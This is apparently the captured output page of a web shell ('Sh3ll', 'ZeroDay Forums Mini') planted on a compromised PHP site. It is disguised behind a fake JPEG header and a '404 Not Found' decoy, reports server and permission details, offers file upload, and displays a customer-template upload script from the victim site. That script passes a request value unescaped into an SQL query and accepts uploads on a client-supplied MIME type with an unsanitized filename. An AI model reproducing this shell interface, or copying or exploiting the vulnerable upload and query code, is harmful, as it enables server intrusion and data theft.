����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/customer/upload_template.php
<?php
$v_customer_id = (isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0) ? $CORE->input['customer_id'] : 0;
$row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='$v_customer_id' "));
$v_customer_baogia_id = (isset($CORE->input['customer_baogia_id']) && $CORE->input['customer_baogia_id']>0) ? $CORE->input['customer_baogia_id'] : 0;

if(isset($_FILES['file_template']) && $_FILES['file_template']['type']=='application/vnd.openxmlformats-officedocument.wordprocessingml.document') {
    $txt_path = 'upload/logos/baogia_'.$_FILES['file_template']['name'];
    if(move_uploaded_file($_FILES['file_template']['tmp_name'],$txt_path)){
        $arr_insert = array('hopdong_tpl_name'=>'baogia_'.$_FILES['file_template']['name'],'hopdong_tpl_path'=>$txt_path,'user_post'=>$ob_user->user_name,'service_cat'=>'baogia');
        $DB->do_insert('tb_hopdong_tpl',$arr_insert);
        $print->refresh('?act=management&code=customer&type=print_baogia&type2=hosting&customer_id='.$v_customer_id.'&customer_baogia_id='.$v_customer_baogia_id);
    }
}else{
    $print->refresh('?act=management&code=customer&type=print_baogia&type2=hosting&customer_id='.$v_customer_id.'&customer_baogia_id='.$v_customer_baogia_id,'Error! File template phải là file .docx',5);
}
?>

ZeroDay Forums Mini